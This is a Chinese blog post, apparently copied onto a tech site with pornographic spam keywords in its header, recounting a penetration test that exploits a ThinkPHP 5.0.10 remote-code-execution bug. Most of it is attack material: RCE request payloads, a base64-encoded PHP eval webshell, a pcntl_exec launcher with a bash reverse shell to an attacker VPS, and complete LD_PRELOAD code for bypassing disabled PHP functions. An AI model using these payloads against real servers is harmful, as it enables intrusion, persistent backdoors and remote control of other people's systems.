国产三级农村妇女在线,国产精品毛片a∨一区二区三区,国产乱子伦视频大全,国产精品色拉拉,国产欧美日韩一区二区三区,

首頁 > 技術(shù) > IOS開發(fā)

一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的實(shí)戰(zhàn)記錄

IOS開發(fā) 2023-02-16 22:21:54
目錄
  • 前言
  • file_put_contents
  • pcntl_exec
  • LD_PRELOAD 劫持
  • 總結(jié)

前言

在一次滲透測試中,手工找了許久沒發(fā)現(xiàn)什么東西,抱著嘗試的心情打開了xray

果然xray還是挺給力的,一打開網(wǎng)頁的時(shí)候xray直接就掃描出了Thinkphp 5.0.10 rce漏洞

直接使用命令執(zhí)行payload,結(jié)果報(bào)出system函數(shù)被禁用

s=whoami&_method=__construct&method=&filter[]=system

一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的實(shí)戰(zhàn)記錄(圖1)

嘗試應(yīng)用其他函數(shù)進(jìn)行利用,經(jīng)過測試發(fā)現(xiàn)call_user_func函數(shù)沒有被禁用
Payload

s=phpinfo&_method=__construct&method=get&filter[]=call_user_func

可以看到哪些函數(shù)被禁用了

一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的實(shí)戰(zhàn)記錄(圖2)

看到assert和include沒有被禁用,一開始想寫shell進(jìn)日志然后去利用文件包含,發(fā)現(xiàn)并沒有任何反應(yīng),也不報(bào)錯(cuò)。

file_put_contents

又回去看被禁用的函數(shù),發(fā)現(xiàn)文件函數(shù)沒被禁用,可以用file_put_contents函數(shù)去寫文件
測試寫入phpinfo文件

s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的實(shí)戰(zhàn)記錄(圖3)

寫入成功

一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的實(shí)戰(zhàn)記錄(圖4)

寫入冰蝎馬可以進(jìn)行文件管理了

一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的實(shí)戰(zhàn)記錄(圖5)

雖然可以進(jìn)行文件操作了,但還是沒法執(zhí)行命令

一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的實(shí)戰(zhàn)記錄(圖6)

pcntl_exec

想到了比較容易被忽略的命令執(zhí)行函數(shù)pcntl_exec,發(fā)現(xiàn)pcntl_exec函數(shù)沒有被禁用,該函數(shù)可以指定一個(gè)程序來執(zhí)行指定文件

先寫一個(gè)exe.php文件,在文件中指定pcntl_exec的參數(shù)(執(zhí)行運(yùn)行程序,運(yùn)行指定文件)

<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>

exec.sh文件寫入反彈命令

bash -i >& /dev/tcp/vpsip/7777 0>&1

瀏覽器訪問exe.php成功反彈shell

一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的實(shí)戰(zhàn)記錄(圖7)

LD_PRELOAD 劫持

這次滲透是結(jié)束了,這里嘗試了另外一種繞過方法,如果遇到pcntl_exec函數(shù)也被禁用的情況,可以利用環(huán)境變量 LD_PRELOAD 劫持系統(tǒng)函數(shù),讓外部程序加載惡意 *.so,達(dá)到執(zhí)行系統(tǒng)命令的效果。詳細(xì)的原理介紹就不贅述了,可以參考這個(gè)大哥的文章https://www.meetsec.cn/index.php/archives/44/

這種方法主要是需要上傳一個(gè).php和一個(gè)由.c程序編譯得到共享對(duì)象.so文件到服務(wù)器

bypass_disablefunc.php

<?php
    echo "

example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "

cmdline: " . $evil_cmdline . "

"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "

output:
" . nl2br(file_get_contents($out_path)) . "

"; unlink($out_path); ?>

bypass_disablefunc.php提供了三個(gè)參數(shù):

  1. cmd 參數(shù),待執(zhí)行的系統(tǒng)命令(如 whoami)。
  2. outpath 參數(shù),保存命令執(zhí)行輸出結(jié)果的文件路徑(如 /www/wwwroot/public),便于在頁面上顯示,另外關(guān)于該參數(shù),你應(yīng)注意 web 是否有讀寫權(quán)限、web 是否可跨目錄訪問、文件將被覆蓋和刪除等幾點(diǎn)。
  3. sopath 參數(shù),指定劫持系統(tǒng)函數(shù)的共享對(duì)象的絕對(duì)路徑(如 /www/wwwroot/bypass_disablefunc_x64.so),另外關(guān)于該參數(shù),你應(yīng)注意 web 是否可跨目錄訪問到它,最好也傳到web根目錄下。

bypass_disablefunc.c

#define _GNU_SOURCE

#include 
#include 
#include 


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '0';
            }
    }

    // executive command
    system(cmdline);
}

這里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so將 bypass_disablefunc.c編譯為共享對(duì)象 bypass_disablefunc_x64.so

要根據(jù)目標(biāo)架構(gòu)編譯成不同版本,在 x64 的環(huán)境中編譯,若不帶編譯選項(xiàng)則默認(rèn)為 x64,若要編譯成 x86 架構(gòu)需要加上 -m32 選項(xiàng)。

可以在github上找到上述需要的文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

這里利用之前的文件管理冰蝎shell將php和so文件上傳到服務(wù)器web目錄
在瀏覽器訪問bypass_disablefunc.php傳入?yún)?shù)

http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so

成功執(zhí)行命令

一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的實(shí)戰(zhàn)記錄(圖8)

總結(jié)

到此這篇關(guān)于一次項(xiàng)目中Thinkphp繞過禁用函數(shù)的文章就介紹到這了,更多相關(guān)Thinkphp繞過禁用函數(shù)內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

TAg

加載中~

本網(wǎng)站LOGO受版權(quán)及商標(biāo)保護(hù),版權(quán)登記號(hào):國作登字-2022-F-10126915,未經(jīng)湖南木星科技官方許可,嚴(yán)禁使用。
Copyright ? 2012-2022 湖南木星科技有限公司(木星網(wǎng))版權(quán)所有
轉(zhuǎn)載內(nèi)容版權(quán)歸作者及來源網(wǎng)站所有,本站原創(chuàng)內(nèi)容轉(zhuǎn)載請注明來源,商業(yè)媒體及紙媒請先聯(lián)系:aishangyiwan@126.com

工信部備案號(hào):湘ICP備19012813號(hào)-5